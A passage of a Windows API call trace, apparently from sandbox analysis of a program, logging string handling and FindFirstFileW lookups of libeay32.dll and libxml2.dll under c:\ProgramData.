| out: pbstr=0x4611e0*="c:\\programdata\\libeay32.dll") returned 1 [0118.450] SysReAllocStringLen (in: pbstr=0x4611e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4611e4*="c:") returned 1 [0118.450] SysReAllocStringLen (in: pbstr=0x461204*=0x0, psz="programdata", len=0xb | out: pbstr=0x461204*="programdata") returned 1 [0118.450] SysReAllocStringLen (in: pbstr=0x461224*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461224*="libeay32.dll") returned 1 [0118.450] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.450] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.450] CharLowerBuffW (in: lpsz="c:\\programdata\\libeay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\libeay32.dll") returned 0x1b [0118.451] SysReAllocStringLen (in: pbstr=0x461234*=0x0, psz="c:\\programdata\\libeay32.dll", len=0x1b | out: pbstr=0x461234*="c:\\programdata\\libeay32.dll") returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x461238*=0x0, psz="c:", len=0x2 | out: pbstr=0x461238*="c:") returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x461258*=0x0, psz="programdata", len=0xb | out: pbstr=0x461258*="programdata") returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x461278*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461278*="libeay32.dll") returned 1 [0118.451] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata2.dllr45w", lpUsedDefaultChar=0x0) returned 11 [0118.451] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dll.dllr45w", lpUsedDefaultChar=0x0) returned 12 [0118.451] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.451] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.451] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.452] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.452] GetLastError () returned 0x12 [0118.452] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="libeay32.dll", len=0xc | out: pbstr=0x28ef0c*="libeay32.dll") returned 1 [0118.452] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\libeay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13beee20, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.452] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.452] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.452] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\libeay32.dll", len=0x18 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\libeay32.dll") returned 1 [0118.452] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\libeay32.dll", psz="c:\\PROGRA~3\\libeay32.dll\\", len=0x19 | out: pbstr=0x28f210*="c:\\PROGRA~3\\libeay32.dll\\") returned 1 [0118.453] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\libeay32.dll\\", len=0x19 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\libeay32.dll\\") returned 1 [0118.453] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\libeay32.dll\\", psz="c:\\PROGRA~3\\libeay32.dll", len=0x18 | out: pbstr=0x28f210*="c:\\PROGRA~3\\libeay32.dll") returned 1 [0118.453] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\libeay32.dll", cchLength=0x18 | out: lpsz="c:\\progra~3\\libeay32.dll") returned 0x18 [0118.453] SysReAllocStringLen (in: pbstr=0x461234*=0x0, psz="c:\\progra~3\\libeay32.dll", len=0x18 | out: pbstr=0x461234*="c:\\progra~3\\libeay32.dll") returned 1 [0118.453] SysReAllocStringLen (in: pbstr=0x461238*=0x0, psz="c:", len=0x2 | out: pbstr=0x461238*="c:") returned 1 [0118.454] SysReAllocStringLen (in: pbstr=0x461258*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461258*="progra~3") returned 1 [0118.454] SysReAllocStringLen (in: pbstr=0x461278*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461278*="libeay32.dll") returned 1 [0118.454] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3.dllme1", lpUsedDefaultChar=0x0) returned 8 [0118.454] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4612a0, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB2285C.TMP⍔vバt☘E\x18") returned 12 [0118.454] CharLowerBuffW (in: lpsz="EVB2285C.TMP", cchLength=0xc | out: lpsz="evb2285c.tmp") returned 0xc [0118.454] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.454] FindFirstFileW (in: lpFileName="c:\\programdata\\evb2285c.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13beee20, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x63000, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x69006c, nFileSizeLow=0x650062, dwReserved0=0x790061, dwReserved1=0x320033, cFileName=".dll", cAlternateFileName="A盼uA((")) returned 0xffffffff [0118.455] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.455] SysReAllocStringLen (in: pbstr=0x28f258*="evb2285c.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="libeay32.dll", len=0xc | out: pbstr=0x28f1cc*="libeay32.dll") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\libeay32.dll", len=0x30 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\libeay32.dll") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", len=0x31 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x461120*=0x0, psz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", len=0x31 | out: pbstr=0x461120*="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\") returned 1 [0118.455] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", cchLength=0x31 | out: lpsz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\") returned 0x31 [0118.455] SysReAllocStringLen (in: pbstr=0x4612b8*=0x0, psz="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", len=0x31 | out: pbstr=0x4612b8*="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\") returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x4612dc*=0x0, psz="device", len=0x6 | out: pbstr=0x4612dc*="device") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x4612fc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4612fc*="harddiskvolume1") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x461308*=0x0, psz="programdata", len=0xb | out: pbstr=0x461308*="programdata") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x461314*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461314*="libeay32.dll") returned 1 [0118.456] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.456] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.456] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.456] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.456] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\libeay32.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.457] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="libeay32.dll", len=0xc | out: pbstr=0x28f1c0*="libeay32.dll") returned 1 [0118.457] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll", len=0x2d | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\libeay32.dll") returned 1 [0118.457] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\", len=0x2e | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\") returned 1 [0118.458] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\") returned 0x2e [0118.458] SysReAllocStringLen (in: pbstr=0x461324*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\", len=0x2e | out: pbstr=0x461324*="\\device\\harddiskvolume1\\progra~3\\libeay32.dll\\") returned 1 [0118.459] SysReAllocStringLen (in: pbstr=0x461348*=0x0, psz="device", len=0x6 | out: pbstr=0x461348*="device") returned 1 [0118.459] SysReAllocStringLen (in: pbstr=0x461368*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461368*="harddiskvolume1") returned 1 [0118.459] SysReAllocStringLen (in: pbstr=0x461374*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461374*="progra~3") returned 1 [0118.459] SysReAllocStringLen (in: pbstr=0x461380*=0x0, psz="libeay32.dll", len=0xc | out: pbstr=0x461380*="libeay32.dll") returned 1 [0118.459] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device32.dllme1", lpUsedDefaultChar=0x0) returned 6 [0118.459] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.460] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.460] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libeay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libeay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.460] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.460] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.460] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x28f23c*="libxml2.dll") returned 1 [0118.461] CharLowerBuffW (in: lpsz="libxml2.dll", cchLength=0xb | out: lpsz="libxml2.dll") returned 0xb [0118.461] SysReAllocStringLen (in: pbstr=0x28f240*="libxml2.dll", psz="libxml2.dll", len=0xb | out: pbstr=0x28f240*="libxml2.dll") returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x4613d8*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x4613d8*="libxml2.dll") returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x4613dc*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x4613dc*="libxml2.dll") returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.461] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0118.461] SysReAllocStringLen (in: pbstr=0x4613e0*=0x0, psz="c:\\programdata\\libxml2.dll", len=0x1a | out: pbstr=0x4613e0*="c:\\programdata\\libxml2.dll") returned 1 [0118.461] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0118.461] SysReAllocStringLen (in: pbstr=0x4614bc*=0x0, psz="c:\\programdata\\libxml2.dll", len=0x1a | out: pbstr=0x4614bc*="c:\\programdata\\libxml2.dll") returned 1 [0118.461] SysReAllocStringLen (in: pbstr=0x4614c0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4614c0*="c:") returned 1 [0118.462] SysReAllocStringLen (in: pbstr=0x4614e0*=0x0, psz="programdata", len=0xb | out: pbstr=0x4614e0*="programdata") returned 1 [0118.462] SysReAllocStringLen (in: pbstr=0x461500*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x461500*="libxml2.dll") returned 1 [0118.462] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.462] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libxml2.dll", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libxml2.dlllr45w", lpUsedDefaultChar=0x0) returned 11 [0118.462] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.462] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.462] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.462] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.462] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.462] GetLastError () returned 0x12 [0118.463] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.463] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.463] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.463] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="libxml2.dll", len=0xb | out: pbstr=0x28ef0c*="libxml2.dll") returned 1 [0118.463] FindFirstFileW (in: lpFileName="c:\\ProgramData\\libxml2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13beee20, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13beee20, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf1530, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.463] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.463] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.463] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.463] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\libxml2.dll", len=0x1a | out: pbstr=0x28ef00*="c:\\ProgramData\\libxml2.dll") returned 1 [0118.463] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\libxml2.dll", psz="c:\\ProgramData\\libxml2.dll\\", len=0x1b | out: pbstr=0x28f214*="c:\\ProgramData\\libxml2.dll\\") returned 1 [0118.464] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\libxml2.dll\\", len=0x1b | out: pbstr=0x28eefc*="c:\\ProgramData\\libxml2.dll\\") returned 1 [0118.464] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\libxml2.dll\\", psz="c:\\ProgramData\\libxml2.dll", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\libxml2.dll") returned 1 [0118.464] CharLowerBuffW (in: lpsz="c:\\ProgramData\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0118.464] SysReAllocStringLen (in: pbstr=0x4614bc*=0x0, psz="c:\\programdata\\libxml2.dll", len=0x1a | out: pbstr=0x4614bc*="c:\\programdata\\libxml2.dll") returned 1 [0118.464] SysReAllocStringLen (in: pbstr=0x4614c0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4614c0*="c:") returned 1 [0118.464] SysReAllocStringLen (in: pbstr=0x4614e0*=0x0, psz="programdata", len=0xb | out: pbstr=0x4614e0*="programdata") returned 1 [0118.464] SysReAllocStringLen (in: pbstr=0x461500*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x461500*="libxml2.dll") returned 1 [0118.464] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalme1", lpUsedDefaultChar=0x0) returned 11 [0118.465] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libxml2.dll", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libxml2.dlllme1", lpUsedDefaultChar=0x0) returned 11 [0118.465] CharLowerBuffW (in: lpsz="c:\\programdata\\libxml2.dll", cchLength=0x1a | out: lpsz="c:\\programdata\\libxml2.dll") returned 0x1a [0118.465] SysReAllocStringLen (in: pbstr=0x461510*=0x0, psz="c:\\programdata\\libxml2.dll", len=0x1a | out: pbstr=0x461510*="c:\\programdata\\libxml2.dll") returned 1 [0118.465] SysReAllocStringLen (in: pbstr=0x461514*=0x0, psz="c:", len=0x2 | out: pbstr=0x461514*="c:") returned 1 [0118.465] SysReAllocStringLen (in: pbstr=0x461534*=0x0, psz="programdata", len=0xb | out: pbstr=0x461534*="programdata") returned 1 [0118.465] SysReAllocStringLen (in: pbstr=0x461554*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x461554*="libxml2.dll") returned 1 [0118.465] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata.dlllr45w", lpUsedDefaultChar=0x0) returned 11 [0118.465] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libxml2.dll", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libxml2.dll.dlllr45w", lpUsedDefaultChar=0x0) returned 11 [0118.466] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.466] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.466] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.466] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.466] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, 